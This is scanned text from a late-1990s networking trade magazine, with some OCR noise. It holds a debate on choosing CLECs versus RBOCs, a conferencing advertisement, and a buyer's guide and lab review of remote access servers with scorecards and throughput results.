Any  business  that  does  not  have  a  CLEC 
in  its  shop  for  some  level  of  service  is 
brain-dead.  What  is  really  remarkable  is 
how  quickly  CLECs  have  taken  market 
share  from  the  RBOCs.  Right  now  there 
are  23  publicly  traded  CLECs,  and  a 
new  one  seems  to  start  up  every  few 
minutes. 

HA-1:  Look,  every  RBOC  but  BellSouth 
has  a  not-so-secret  agenda  to  get  into 
long  distance.The  price  they  are  going  to 
pay  is  allowing  competition.  Until  all  of  this  gets  resolved,  why  shouldn’t  business 
customers  stay  with  the  RBOCs? 

HA-2:  Because  there  are  good  reasons  right  now  to  switch.  The  CLECs  are  tar¬ 
geting  the  business  customer.  They  now  understand  that  reselling  elements  from 
RBOCs  won’t  work,  so  they’re  pushing  to  become  facilities-based.  Furthermore, 
the  CLECs  are  going  to  be  the  innovators  in  services.  Who  do  you  think  will  be 
first  with  low-cost  IP  telephony:  CLECs  or  RBOCs? 

HA-1:  Let’s  make  this  discussion  meaningful.  Let’s  consider  a  $100  million 
company  that  has  a  variety  of  needs  —  voice,  data,  image,  Internet,  global  and  so 
forth.  And  let’s  further  suppose  that  this  company  will  base  its  carrier  decision 
on  a  reasonable  set  of  criteria. 

HA-2:  OK,  but  I’ll  choose  the  criteria:  remote  access,  low  cost,  innovative  ser¬ 
vices,  quality  of  service  (QoS),  best  technology,  one-stop  shopping  and  low  risk. 

HA-1:  Fine.  Let’s  start  with  remote  access.  If  we  assume  that  in  any  company 
20%  of  white-collar  managers  will  have  a  need  for  remote  access  and  that 
branch  offices  need  to  be  equipped  as  well,  how  can  you  go  anywhere  but  to 
an  RBOC?  What  are  you  going  to  do?  Cut  separate  deals  with  a  half-dozen  cable 
companies  and  a  gaggle  of  CLECs? 

HA-2:  It’s  true  that  not  all  CLECs  are  primed  toward 
remote  access,  but  those  that  are,  such  as  Covad,  are  going 
to  give  you  DSL  service  and  will  make  it  work.  Data  CLECs 
are  aggressively  rolling  out  DSL  services  in  the  top  metro¬ 
politan  areas.  So  you  get  better  remote  access  and  a  better 
financial  deal  —  lower  cost  —  from  those  CLECs  as  well. 

HA-1:  OK,  because  you  mentioned  cost,  let’s  deal  with 
that.  What  is  the  true  cost  of  dealing  with  a  multitude  of 
vendors  when  half  of  them  may  not  be  around  next  year? 

Yes,  CLECs  will  always  be  able  to  slightly  underprice 
RBOCs,  but  those  hidden  costs  will  kill  you. 

HA-2:  For  right  now,  CLECs  will  be  happy  with  a  portion 
of  users’  business.  But  they  aren’t  aiming  for  a  small  part  of 
a  big  pie;  they  want  it  all.  And  remember,  the  CLECs  are  buy¬ 
ing  ISPs,  and  ISPs  are  morphing  into  CLECs.  ISPs  know  that 
while  the  consumer  market  is  very  price-sensitive,  the  busi¬ 
ness  market  is  not  —  so  they  are  aggressively  marketing 
DSL  services  to  businesses.  Yes,  for  now  the  issue  of  co¬ 


locating  in  RBOC  central  offices  is  an  ob¬ 
stacle,  but  the  RBOCs  know  they  must  tear 
down  those  barriers  if  they  want  to  get 
into  long  distance.  So  the  CLECs  are  being 
patient;  they’ll  start  with  advanced  services 
and  price,  if  that’s  what  it  takes. Their  argu¬ 
ments  are  going  to  be  persuasive.  Any  intel¬ 
ligent  user  is  going  to  be  better  off  if 
served  by  more  than  one  central  office.  But 
more  important  than  price,  the  CLECs  are 
going  to  offer  more  innovative  services  and 
sooner  than  the  RBOCs.  Frame  relay,  ATM, 
voice  and  fax  over  data,  long  distance,  IP. 
Better  bundling  provisions. 

HA-1:  I  concede  that  the  market  basket  of 
|  services  may  give  the  CLECs  the  edge,  but 
I  the  real  issue  is  QoS. The  RBOCs  have  more 
3  trucks  on  the  street;  they  have  more  infra¬ 
structure.  Best  of  all,  they  offer  a  predictabili¬ 
ty  that  is  sorely  lacking  from  the  CLECs.The  CLECs  are  just  going  to  be  bought  and 
sold  like  Monopoly  properties. 

HA-2:  You  completely  miss  one  thing:  focus. The  CLECs  are  focused  on  the 
business  market  and  are  differentiating  themselves  by  their  offerings. The  CLECs 
know  data  and  live  data. The  RBOCs  approach  data  with  trepidation;  they  aren’t 
hungry  and  their  lack  of  responsiveness  is  amazing. 

HA-1:  I  will  agree  that  the  CLECs  today  want  no  part  of  the  residential  market 
or,  at  best,  all  they  really  want  is  that  top  16%  who  are  remote  access  users  and 
who  most  likely  are  intensive  Internet  users. 

HA-2:  OK,  let  me  point  out  what  else  we  agree  on.  First,  business  users  have 
benefited  from  CLECs  in  many  ways.  For  one,  the  competition  has  forced  the 
RBOCs  to  respond,  so  now  there  are  several  good  options.  Most  metropolitan 
areas  have  at  least  three  CLECs.  Smart  users  want  route,  carrier  and  media  diver¬ 
sity,  so  that  there  is  no  single  point  of  failure.  Some  RBOCs  have  gotten  quite 
innovative  in  new  services.  Bell  Atlantic  Network  Integration,  for  instance,  will 
actually  come  in  and  run  your  network  for  you,  and  will  manage  the  LAN  as  well 
as  the  WAN  portion. 

HA-1:  And,  to  be  fair,  some  CLECs  have  shown  surprising 
agility  and  have  gone  far  past  price  as  a  criteria.  But  —  and 
this  is  a  big  but  —  there  are  too  many  fly-by-night  CLEC 
resellers  that  have  no  facilities  of  their  own  and  whose  per¬ 
formance  can  jeopardize  any  company  that  buys  from  them. 
HA-2:  Agreed.  But  network  management’s  job  is  to  manage 

—  to  find  out  which  CLECs  are  for  real  and  which  are  not 

—  and  to  give  their  business  to  those  that  can  perform.  Any 
company  that  does  not  split  its  business  and  take  advantage 
of  the  redundancy  that  alternative  local  carriers  offer  is  lazy. 
And  even  though  most  CLECs  have  a  cost  advantage,  I  agree 
that  this  should  not  be  the  deciding  point:  innovative  ser¬ 
vices  must  be. 


Anderson  is  founder  and  president  of  The  Yankee  Group, 
a  Boston-based  consultancy.  He  tries  to  keep  his  skepticism 
from  degenerating  into  rampant  cynicism,  a  battle  he 
appears  to  be  losing.  He  can  be  reached  at  banderson @ 
yankeegroup.  com. 
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5,000  employees  on  the  road, 
in  the  air,  and  offsite -A.  T.  Kearney 
uses  the  Meeting  Place 
Conference  Server. 


Your  customers,  business  partners, 
and  competitors  already  have  one. 

Shouldn't  you ? 


Michael  Johnson,  CIO,  A.T.  Kearney 

"With  MeetingPlace,  our  employees  hove  a  virtual 
meeting  room  to  conduct  business  from  wherever 
they  may  be  located. " 


Welcome  to 
MeetingPlace 

Real-time,  multi-point 
collaboration  on  every  desktop 


using  the  phone,  PC  and  Internet. 


visit  us 
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Latitude 


Get  the  story . 

Coll  today  for 
your  free  guide 
to  doto-enobled 
voice  conferencing.  I 


North  America 


1.800.999.7440 

United  Kingdom  •  Singapore  •  Hong  Kong 


Austra  I  ia 


©1999  Latitude  Communications,  Inc.  All  rights  reserved.  MeetingPlace  is  a  registered  trademark  of  Latitude  Communications,  Inc 


Buyer's  Guide 


REMOTE  ACCESS: 
HAVE  IT  YOUR  WAY 


Common  ground 

AH  the  remote  access  boxes  and  board  products  in 
our  Buyer’s  Guide  support  analog  and  digital  ISDN 
dial-up  connections.  If  remote  offices  or  telecom¬ 
muters  have  Basic  Rate  Interface  lines,  they  can  make 
1 28K  bit/sec  connections;  if  not,  they  can  use  analog 
modems. All  those  surveyed  support  V 90,  enabling 
56K  bit/sec  downloads  to  remote  users  who  have 
56K  bit/sec  modems. 

In  addition,  all  the  remote  access 
devices  can  use  a  single  phone  number  to 
handle  analog  modem  and  ISDN  calls. The 
boxes  detect  whether  a  call  is  analog  or 
ISDN  and  respond  accordingly. 

All  the  servers  and  server  board  prod¬ 
ucts  compress  data  traffic  so  remote  users 
spend  less  time  sending  and  receiving 
data,  which  can  save  on  phone  costs.  Most 
of  the  vendors  employ  hardware  and  soft¬ 
ware  compression;  a  handful  support  only 
software  compression. 

While  a  few  years  ago  user  name  and 
password  security  was  all  that  was  avail¬ 
able,  today’s  remote  access  devices  sup¬ 
port  many  more  options.  All  but  six  ven¬ 
dors  support  secure  token  cards.  Another 
half-dozen  support  the  emerging  IP  Sec¬ 
urity  encryption  standard. 

All  the  chassis-based  devices,  as  well  as 
server  cards  from  Brooktrout  Technology 
and  Interphase,  can  restrict  remote-user 
access  by  a  variety  of  methods,  including 
user,  group,  time  of  day,  call  origin,  session 
duration  and  line  called. The  rest  of  the 
board  products  depend  on  the  server’s 
operating  system  for  access  control. 

Two-thirds  of  the  chassis  devices  now 
support  pass-through  authentication  to 
network  operating  system  directories,  such  as  Novell 
Directory  Services, Windows  NT  domains,  NetWare 
binderies  and  Lightweight  Directory' Access  Protocol. 
This  relieves  managers  from  having  to  set  authentica¬ 
tion  directly  on  the  device,  user  by  user. 

Remote  configuration  and  traffic  monitoring 
capabilities  are  common  to  all  the  remote  access 
devices  we  surveyed.  Several  also  offer  billing  soft- 


the  remote  access  arena,  the  more 
things  change,  the  more  they  stay 
the  same.  Vendors  continue  to 
increase  port  capacity,  improve  secu¬ 
rity  and  beef-up  fault  tolerance. 
While  buyers’  options  increase,  how¬ 
ever,  the  fundamental  technology 
behind  today’s  remote 
access  devices  remains 
largely  as  it  was  last  year. 

From  a  network  man¬ 
ager’s  standpoint,  tradi¬ 
tional  direct-dial  remote  access  has  a  lot 
going  for  it.  It’s  familiar,  it’s  relatively  easy  to 
implement  and  it  uses  standard  communica¬ 
tions  software.The  newest  direct-dial 
remote  access  gear  supports  hundreds  of 
users  on  a  single  chassis  without  the  banks 
of  individual  modems  and  the  nest  of 
wiring  we  saw  just  a  few  years  ago.  Instead, 

24  individual  calls  come  in  over  a  single  T-l 
line,  or  23  calls  come  in  over  one  Primary 
Rate  Interface  ISDN  line.  Modems  or  ISDN 
terminal  adapters  built  into  one-box  remote 
access  concentrators  process  the  calls. 

So  what  distinguishes  one  remote 
access  device  from  the  next?  Scalability, 
for  one  thing.  We  surveyed  24  vendors  for 
our  interactive  remote  access  Buyer’s 
Guide  (DocFinder:  2223).  Eighteen  entries 
are  modular  chassis-based  servers  and  six 
are  drop-in  server  boards.  All  have  a  mini¬ 
mum  of  24  ports. 

Of  the  dedicated  remote  access  devices, 
the  XI 600  from  Assured  Access  Technology 
(which  Alcatel  earlier  this  month  announced 
plans  to  acquire)  supports  the  most  simultaneous  ses¬ 
sions  —  a  whopping  8, 372.  With  a  maximum  port 
capacity  of  2,016  analog  or  364  PRI,  the  XI 600  is 
designed  for  service  providers.  Also  targeting  this  ser¬ 
vice  provider  tier  is  Lucent’s  PortMaster  4,  which 
supports  864  simultaneous  sessions. 

The  remainder  of  the  chassis  vendors,  some  of 
which  also  make  boxes  with  ISP-type  capacities, 


Choose  from  sophisticated 
boxes  or  build  your  own 
remote  access  device  with 
drop-in  server  cards. 


submitted  products  designed  for  mid-size  to  large 
enterprises.  Four  units  support  between  360  and 
600  simultaneous  users:  3Com’s  Total  Control 
Multiservice  Access  Platform  with  HiPer  Access 
System,  Computone’s  DCS-5000,  Ericsson  Datacom 
Access’Tigris  3-Slot  and  Nortel  Networks’  5399 
Remote  Access  Concentrator.  The  rest  fall  between 
60  and  240  simultaneous  users  per  system. 
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ware  so  managers  can  monitor  who  is  using  the 
network  the  most  and  can  charge  back  costs  to  indi¬ 
vidual  departments. 

Fault  tolerance  is  a  key  concern  for  buyers  of  the 
chassis-based  products,  kook  for  hot-swappable 
boards,  modems,  WAN  interfaces,  power  supplies, 
cooling  fans  and  daughterboards.  Among  the  vendors 
in  our  survey,  3Com,  Assured  Access  Technology,  ECI 
Telecom  and  Ericsson  deliver  all  or  most  of  these  hot- 
swappable  components. 

For  even  more  convenient  failover  protection, 

10  devices  offer  “hot  spare”  cards  in  the  rack.  If  a 
modem  card  fails,  the  server  engages  a  spare  card 
automatically  or  allows  you  to  remotely  activate  a 
spare  card;  you  don’t  need  to  go  to  the  rack  and 
physically  swap  components. 

Build  your  own 

Not  everyone  needs  to  buy  a  separate  chassis  to 
support  remote  access;  another  option  is  server 
cards.The  cards  plug  into  standard  servers  and,  with 
appropriate  software,  convert  them  into  remote 
access  devices.  Most  of  the  cards  feature  onboard 
processors  to  handle  calls  without  sapping  the  pro¬ 
cessing  power  of  the  server’s  CPU. 

The  number  of  dial-up  sessions  each  card  can 
support  has  been  growing  since  these  cards  came 
on  the  scene  in  1996.  In  our  survey,  Digi 
International  hit  the  highest  number  with  48  analog 


Calling  for  RFPs 

e  re  expanding  our  Buyer’s  Guides  with  a 
new  online  interactive  component,  and  we 
need  your  input. 

To  help  you  make  those  tough  network 
equipment  buying  decisions,  we’ve  started 
a  new  area  online  called  RFP  Central  (www. 
nwfusion.com,  DocFinder:  2224). With  each 
Buyer’s  Guide,  we’ll  send  out  a  request  for  propos¬ 
al  (RFP)  to  vendors  about  the  technology  we’re 
covering.  To  get  things  rolling  this  month,  we 
shipped  vendors  a  fictional  RFP  for  adding  remote 
access  servers  to  a  network.  We’ve  posted  the  RFP 

connections  or  two  PRI  lines  on  a  single  card. Ariel, 
Interphase  and  Patriot  Scientific  are  just  behind 
Digi  with  46  or  47  user  connections  per  card.  You 
can  use  multiple  cards  in  a  single  system;  however, 
the  maximum  number  of  simultaneous  users 
depends  on  the  number  of  PCI  slots  available  in  the 
host  server. 

All  the  cards  we  surveyed  work  in  servers  running 
Windows  NT  Server,  which  makes  managing  them 
relatively  simple  for  those  who  already  have  NT  net- 


and  the  vendor  responses  online  and  created  an 
area  where  readers  can  comment  on  the  proposals. 

Take  a  look  and  add  your  two  cents. 

Our  next  Buyer’s  Guide  will  cover  virtual  pri¬ 
vate  networks  (VPN).This  time,  we  want  vendors 
to  respond  to  a  real  RFP  —  yours.  If  you  think  a 
VPN  might  be  in  your  future,  here’s  your  chance 
to  get  proposals  from  all  the  leading  vendors.  If 
you’re  selected,  we  ll  go  after  the  Buyer’s  Guide 
VPN  vendors  to  answer  your  request  with  details 
on  hardware,  software  and  services.  And  once 
again,  we’ll  post  the  vendor  responses  online  and 
ask  readers  to  comment  on  them,  giving  you  valu¬ 
able  feedback  from  your  peers  to  help  you  make  a 
more  informed  buying  decision. 

Interested?  Send  your  RFPs  to  sgaspar@nww.com. 


works.  In  addition,  Digi  supports  Unix  and  NetWare; 
Eicon  Technology  also  supports  NetWare. 

Whichever  way  you  decide  to  go,  you  have  plenty 
of  remote  access  options.Virtual  private  networks 
across  the  Internet  may  be  gaining  in  popularity  for 
remote  access,  but  we  expect  direct-dial  will  be  with 
us  for  quite  a  while. 

Greene  is  a  senior  editor  at  Network  World.  He 
can  be  reached  at  tgreene@nww.com. 


FAST  ACCESS 


BY  JASON  VAN  CLEVE 
AND  IVAN  CHU 

ecause  remote  access  is  a  mature  tech¬ 
nology,  remote  access  server  vendors 
today  have  to  go  the  extra  mile  to  dis¬ 
tance  themselves  from  the  competition. 
Since  we  last  looked  at  remote  access 
servers,  vendors  have  improved  perfor¬ 
mance,  refined  management  interfaces 
and  added  features  ( NW,  March  23, 1998, 
page  4l).The  best  of  the  current  crop  is 
Ascend’s  Max  6000;  its  exceptional 
throughput  and  rich  feature  set  earn  our 
Blue  Ribbon  Award. 

However,  the  Max  6000  isn’t  perfect;  it  still  needs 
work  in  the  area  of  scalability.  It  tops  out  at  96  ana¬ 
log  calls  and  has  only  a  single  power  supply.  By  con¬ 
trast,  3Com’s  Total  Control  Multiservice  Access 
Platform  with  HiPer  Access  System  has  a  rated  capac- 


Speedy,  scalable  and  easy  to 
operate  —  the  competition 
heats  up  among  enterprise - 
class  remote  access  servers* 


ity  of  360  simultaneous  analog  calls  and  two  hot- 
swappable  power  supplies.The  Total  Control  system 
also  has  superior  management  features,  including  its 
optional  EdgeServer  Pro  Module,  which  comes  pre¬ 
configured  as  a  fully  functional  Windows  NT  4.0 
Server  complete  with  Microsoft’s  Remote  Access 
Server  (RAS)  software. 

Scalability  is  also  a  strength  of  Lucent’s  PortMaster 
4,  which  purportedly  can  support  an  impressive  864 
simultaneous  analog  calls.  (While  Lucent  plans  to 
acquire  Ascend,  the  vendors  do  not  expect  to  merge 


Product;  Max  6000 _ 

Vendor:  Ascend 

Top  throughput  extensive  features  and 
a  compact  design  helped  Ascends  Max 
6000  remote  access  concentrator  land 
our  Blue  Ribbon  Award. 


NetwoiMtaH 


product  lines  for  some  time.) 

The  PortMaster  and  the  other  four  products  we 
tested  —  Intel’s  LanRover  Access  Switch  DPS,  Erics¬ 
son  DatacomAccess’Tigris  3-Slot,  Cabletron’s  Cyber- 
Switch  CSX7010  and  NBase-Xyplex’s  EdgeBlaster  — 
fell  behind  the  two  frontrunners  in  our  ScoreCard. 

What  made  it  particularly  tough  for  the  other  ven¬ 
dors  to  catch  up  to  Ascend  in  our  ratings  was  the 
Max  6000’s  high  throughput. 

In  the  critical  download  speed  tests,  the  Max  6000 


ScoreCard 

Performance 

Manageability 

Features 

Scalability 

Installation 

Documentation 

Total 

40% 

25% 

15% 

10% 

5% 

5% 

score 

Max  6000 

8  x  .40  =  3.20 

8  x.  25  =  2.00 

8  x. 15  =  1.20 

7  x  .10  =  0.70 

8  x. 05  =  0.40 

9  x. 05  =  0.45 

7.95 

Total  Control 

7  x  .40  =  2.80 

9  x  .25  =  2.25 

9  x. 15  =  1.35 

9  x. 10  =  0.90 

5  x. 05  =  0.25 

7  x. 05  =  0.35 

7.90 

PortMaster  4 

7  x  .40  =  2.80 

6  x.  25  =  1.50 

8  x. 15  =  1.20 

9  x. 10  =  0.90 

7  x. 05  =  0.35 

7  x. 05  =  0.35 

7.10 

LanRover  Access  Switch  DPS 

7  x  .40  =  2.80 

6  x. 25  =  1.50 

7  x. 15  =  1.05 

7  x. 10  =  0.70 

8  x.  05  =  0.40 

7  x  .05  =  0.35 

6.80 

Tigris  3-Slot 

7  x  .40  =  2.80 

5x25  =  1.25 

7  x. 15  =  1.05 

7  x. 10  =  0.70 

7  x  .05  =  0.35 

8  x  .05  =  0.40 

6.55 

CyberSwitch  CSX7010 

8  x  .40  =  3.20 

4  x. 25  =  1.00 

5  x. 15  =  0.75 

7  x. 10  =  0.70 

4  x. 05  =  0.20 

5  x  .05  =  0.25 

6.10 

EdgeBlaster 

5  x  .40  =  2.00 

7  x. 25  =  1.75 

6  x. 15  =  0.90 

5  x. 10  =  0.50 

9  x  .05  =  0.45 

8  x  .05  =  0.40 

6.00 

Individual  category  scores  are  based  on  a  scale  of  1  to  10.  Percentages  are  the  weight  given  each  category  in  determining  the  total  score. 
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Net  Results 

Mdrld  Max  6000 

Ascend 

(800)  621-9578 
www.ascend.com/2706.html 
$11,040  to  $71,000 


Pros 

▲  Top-rated  throughput 

▲  Feature  rich 

▲  Small,  compact  design 


Cons 

▼  No  hot-swappable  components 

▼  Chassis  is  limited  to  four  WAN  ports 

▼  Limited  modularity 

▼  Single  power  supply 


Total  Control  Multiservice  Access 
Platform  with  HiPer  Access  System 
and  EdgeServer  Pro  Module 

3Com 

(408)  326-5000 

www.3com.com/solutions/svprovider/ 

productsrac/index.html 

$17,610  to  $179,845 

Pros 

▲  Supports  fully  functional  Windows 
NT  Server  on  a  board 

▲  Redundant,  hot-swappable 
power  supply 

▲  Hot-swappable  cards,  WAN 
interfaces,  cooling  fans 

▲  Stable  download  performance 

Cons 

▼  Can’t  properly  shut  down  integral 
Windows  NT  Server  before  powering 
down  chassis 

PortMaster  4 

Lucent 

(800)  458-9966 
www.livingston.com/marketing/ 
products/pm4_series.html 
$64,085  to  $448,645 

Pros 

▲  Redundant,  hot-swappable 
power  supply 

▲  Hot-swappable  cards  and 
cooling  fans 

▲  Very  scalable 

Cons 

▼  Occasionally  dropped  calls  as 
more  clients  became  active 

LanRover  Access  Switch  DPS 

Intel 

(800)  977-4482 

www.shiva.com/remote/access_switch 
$13,640  to  $40,800 

Pros 

▲  Easy  to  configure 

▲  Clearly  labeled  cable  connection 
points 

Cons 

▼  No  hot-swappable  components 

▼  Chassis  is  limited  to  four  WAN  ports 

▼  Limited  modularity 

Tigris  3-Slot 

Ericsson  Datacom  Access 
(800)  444-7854 

www.acc.com/internet/products/remote 

_access_concentrat.html 

$8,000  to  $75,000 

Pros 

▲  Easy  to  configure 

▲  Clearly  labeled  cable  connection 
points 

▲  Redundant,  hot-swappable 
power  supply 

▲  Hot-swappable  cards,  WAN 
interfaces  and  cooling  fans 

Cons 

▼  Chassis  is  limited  to  four  WAN  ports 

▼  Limited  modularity 

T  Command  line  interface  only 

EdgeBlaster 

NBase-Xyplex 
(800)  338-5316 

www.nbase-xyplex.com/products/access_ 

serverindex.cfm 

$8,200  to  $25,000 

Pros 

▲  Easy  to  install 

A  Front  panel  LCD  makes 
configuration  easy 

A  Small,  compact  design 

Cons 

▼  Limited  modularity 

▼  Lacks  robust  feature  set 

▼  Cards  are  not  hot-swappable 

▼  Single  power  supply 

CyberSwitch  CSX7010 

Cabletron 
(603)  332-9400 

www.cabletron.com/products/items/ 

CSX7010/ 

$28,000  to  $84,000 

Pros 

A  Top-rated  throughput 

A  Redundant,  hot-swappable 
power  supply 

Cons 

▼  Lacks  robust  feature  set 

▼  Cards  are  not  hot-swappable 

T  Bulky  chassis 

▼  Single  user  can’t  establish  multiple 

connections 


and  Cabletron’s  CyberSwitch  were  more  than  30% 
faster  than  the  rest  of  the  pack.  In  a  near  dead  heat 
for  third  place  were  the  boxes  from  Lucent,  Intel, 
Ericsson  and  3Com,  all  of  which  were  within  3K 
bit/sec  of  one  another  in  download  and  upload 
speeds.  NBase-Xyplex’s  EdgeBlaster  was  slowest  in 
download  and  upload  performance.  (See  average 
download  and  upload  figures,  below.) 

Some  of  the  units  had  trouble  maintaining  down¬ 
load  speed  as  we  added  clients.  (See  cumulative 
throughput  graphic,  page  46).  As  in  last  year’s  test, 
Ascend’s  Max  6000  started  out  strong,  but  download 
throughput  dipped  26%  as  we  increased  the  number 
of  clients  from  10  to  60  in  increments  of  10.  NBase- 
Xyplex’s  EdgeBlaster  and  Cabletron’s  CyberSwitch 
also  lost  momentum  as  we  added  clients;  download 
performances  fell  39%  and  22%,  respectively.  We  sus¬ 
pect  that  one  reason  for  such  performance  degrada¬ 
tion  is  the  increased  processing  load  placed  on  each 
server  as  it  compresses  outgoing  data. 

Lucent’s  PortMaster,  Ericsson’s  Tigris  3-Slot  and 
3Com ’s  Total  Control  system  turned  in  the  most  con¬ 
sistent  performances,  losing  less  than  1%  of  their 
download  speeds  up  to  the  60-client  level.  Intel’s 
LanRover  was  close  behind  with  a  9%  deviation. 

However,  fast,  steady  performance  doesn’t  mean 
much  if  a  server  doesn’t  have  a  competitive  feature 


Average  throughput 

Download 
speed  in 

K  bit/sec 

Upload 
speed  in 
K  bit/sec 

Max  6000 

69.92 

107.53 

CyberSwitch  CSX7010 

65.96 

94.66 

PortMaster  4 

50.26 

63.17 

LanRover  Access  Switch  DPS 

48.54 

64.78 

Tigris  3-Slot 

48.54 

61.87 

Total  Control 

48.49 

62.53 

EdgeBlaster 

31.01 

48.59 

set.  Some  features  are  givens.  For  example,  all  the 
remote  access  servers  we  tested  offer  V  90  compres¬ 
sion,  automatic  IP  address  (pool)  assignment  for  dial-in 
clients  and  independently  operated  password  authenti¬ 
cation  and  encryption. 

More  advanced  features  begin  to  differentiate  the 
entries,  which  vary  quite  a  bit  in  integration  of  newer 
technologies,  such  as  virtual  private  network  (VPN) 
management  and  voice  over  IP,  for  example. 

Ascend’s  Max  6000  offers  a  state-of-the-art 
options  package  with  voice-over-IP  technology, 
dynamic  and  static  firewall  features,  and  support  for 
VPN  standard  protocols,  including  Layer  2  Tunneling 
Protocol,  Ascend  Tunnel  Management  Protocol  and 
Point-to-Point  Tunneling  Protocol.  On  the  downside, 
the  Max  6000  has  only  four  LEDs  on  the  chassis 
front,  giving  you  scant  status  information. Ascend 
also  lacks  modular  flexibility  because  it  has  only 
one  power  supply. 

3Com’s  Total  Control  system  provides  the  highest 
level  of  versatility  with  its  built-in  Windows  NT 
Serv  er  4.0  and  a  variety  of  available  modem  and 
network  cards.  Each  additional  modem  and  network 
device  card  is  installed  and  mapped  into  the  NT  serv¬ 
er  via  the  chassis  backplane  in  a  manner  similar  to 
installing  a  PC  peripheral.  Using  the  NT  server,  any  of 
a  number  of  off-the-shelf  firewall,  proxy  server,  fax 
server  and  thin-client  applications  are  available. 

Lucent’s  PortMaster  4  has  a  highly  modular  design 
and  supports  IPX, AppleTalk,  SNMP,  PPP  scripting,  IP 
filtering  and  multilink  connection  management  using 
Multilink  Point-to-Point  Protocol. 


The  LanRover  switch  from  Intel  (which  acquired 
Shiva  late  last  month)  doesn’t  offer  much  in  the  way 
of  special  features  when  you  stack  it  up  against  the 
units  from  3Com,  Lucent  and  Ascend.  You  even  need 
separate  boards  for  33.6K  and  56K  bit/sec  modems. 
None  of  the  cards  are  hot-swappable.  Shiva  does, 
however,  include  a  PowerBurst  remote  client  acceler¬ 
ator  that  provides  for  speedier  dial-up  performance. 

Ericsson’s  Tigris  also  doesn’t  deliver  more  than  the 
standard  set  of  features;  it,  too,  requires  additional 
modem  cards. 

Cabletron’s  CyberSwitch  CSX7010  was  most  lack¬ 
ing  in  available  features.  Unlike  its  competitors, 
Cabletron  was  unable  to  provide  multiple  connec¬ 
tions  for  a  single  user. 

We  found  NBase-Xyplex’s  EdgeBlaster  to  be  lacking 
in  flexibility,  as  well.  IPX  and  AppleTalk  support  was 


not  available,  and  the  unit  was  equipped  with  only  a 
single  power  supply. An  optional  VTN  management 
card  was  unavailable  for  this  review. 

Monitoring  and  managing 

Enhanced  management  interfaces  make  it  easier 
for  administrators  to  take  advantage  of  these  units’ 
advanced  features  and  administer  them  remotely. 

Overall,  the  menu-driven  software  of  Ascend’s 
Max  6000  is  an  effective  change  from  the  traditional 
command-line  approach.  However,  many  of  the 
commands  are  buried  several  layers  deep  in  a  tree¬ 
like  structure.  If  you  can  recall  five-digit  menu 
codes,  you  can  type  them  in  to  directly  access  sub¬ 
menu  items,  but  otherwise  you  have  to  go  digging. 
The  system  includes  a  new  Windows  interface  on 
CD-ROM,  which  you  can  install  on  a  PC  for  remote 
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administration.  However,  we  found  that  the  menu- 
driven  text  interface  included  more  features  and 
was  easier  to  use. 

3Com  s  Total  Control  topped  our  field  in  the  man¬ 
ageability  department.  Using  Microsoft's  RAS  ser¬ 
vices  on  NT  Server  gives  a  familiar  feel  to  the  Total 
Control  system  plus  EdgeServer  Pro  Module.  For 
more  sophisticated  users,  3Com’s  Total  Control 
Manager  allows  for  expert  fine-tuning  of  advanced 
telephony  features  and  enables  real-time  monitoring 
of  each  modem.  You  can  also  manage  the  unit  via  a 
command-line  configuration  program  through  a  PC 
emulating  a  TTY  terminal. 

Lucent’s  PortMaster  4  relies  primarily  on  a  com¬ 
mand-line  interface  but  also  includes  a  Windows- 
based  interface  called  PMVision  Version  1.3. A  com¬ 
plement  to  the  line  interface,  PMVision  was  well- 
organized  and  full-featured. 

Intel's  LanRover  unit  has  a  straightforward  Win¬ 
dows-based  configuration  tool  called  Shiva  Net  Man¬ 
ager.  The  configuration  software  lets  you  manually 
enter  information  or  use  an  assistant  that  leads  you 
through  the  process. 

Ericsson’s  Tigris  3-Slot  relies  entirely  on  its  com¬ 
mand-line  interface  at  this  point. Although  the  wordy 
syntax  results  in  more  typing,  Ericsson  includes  a 
decent  set  of  modern  management  features. The  com¬ 
pany’s  upcoming  Web-based  management  tool  was 
unavailable  when  we  tested  the  Tigris  3-Slot. 

Cabletron’s  CyberSwitch  relies  on  a  command-line 
interface  in  conjunction  with  a  simple  menu-driven 
configuration  program.  We  found  the  basic  interface 
to  be  poorly  organized  and  difficult  to  use. 

NBase-Xyplex’s  EdgeBlaster  relies  almost  entirely 
on  its  locally  loaded,  full-featured  browser  configura¬ 
tion  tool;  there  is  no  command-line  interface.The 
browser  interface  resembles  a  pull-down  menu  for¬ 
mat,  which  makes  management  fairly  comfortable. 
However,  some  functions  —  such  as  the  add  user 
command  —  are  buried  several  layers  deep,  making 
administrative  tasks  more  difficult. The  front  panel 
LCD  lets  you  manually  enter  an  IP  address  for  the 
unit. After  that,  you  can  use  Internet  Explorer  4.0  or 
Netscape  Navigator  to  manage  the  unit  remotely. 
There  is  no  local  console  port  so  administrator  secu¬ 
rity  is  an  additional  concern. 


How  We  Did  It 

We  used  60  Dell  OptiPlex  PCs  with  166-MHz 
Pentium  processors  and  32M  bytes  of  RAM  to  trans¬ 
fer  five  32K-byte  test  files  conforming  to  the  Elec¬ 
tronic  Industries  Association's  TSB-38  standard  for 
evaluating  modems.  Our  test  server  was  an  AST 
Research  Manhattan  D  with  a  200-MHz  Pentium  Pro 
processor  and  320M  bytes  of  RAM  running  Win¬ 
dows  NT  Server  4.0  with  Service  Pack  4  and  Internet 
Information  Server  4.0.  The  servers  had  a  100M 
bit/sec  Ethernet  connection  (where  supported)  to  a 
Bay  Networks  350T  Ethernet  switch. 

We  connected  each  PC  to  a  33.6K  bit/sec  modem 
housed  in  a  3Com  MP/16  V.34  Total  Control  modem 
pool.  Each  PC  used  Windows  95's  dial-up  network¬ 
ing  utility  and  PPP  to  dial  in  to  our  onsite  Lucent 
Definity  G3I  PBX.  The  PBX  connected  to  the  remote 
access  server  over  three  ISDN  Primary  Rate 
Interface  lines. 

During  testing,  all  remote  access  servers  were 
configured  to  authenticate  users  using  Challenge 
Handshake  Authentication  Protocol  and  to  auto- 
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Scalability 

For  companies  looking  to  increase  their  remote 
user  populations,  scalability  counts.  However,  just  as 
important  as  the  maximum  number  of  simultaneous 
users  is  redundancy,  including  hot-swappable  compo¬ 
nents  and  multiple  power  supplies. 

As  mentioned,  scalability  is  not  a  strong  point  of 
Ascend’s  Max  6000,  which  supports  96  analog  calls 
from  its  four  chassis-mounted  T-l  ports.  Six  slots  are 
available  for  modem  cards  supporting  the  four  T-l 
ports. A  chassis-mounted  serial  port,  10/100M  bit/sec 
Ethernet  port  and  PC  Card  slot  are  also  available. 

3Com’s  17-slot  chassis  deploys  its  hot-swappable 
cards  in  pairs,  with  one  sliding  into  the  front  of  a  slot 
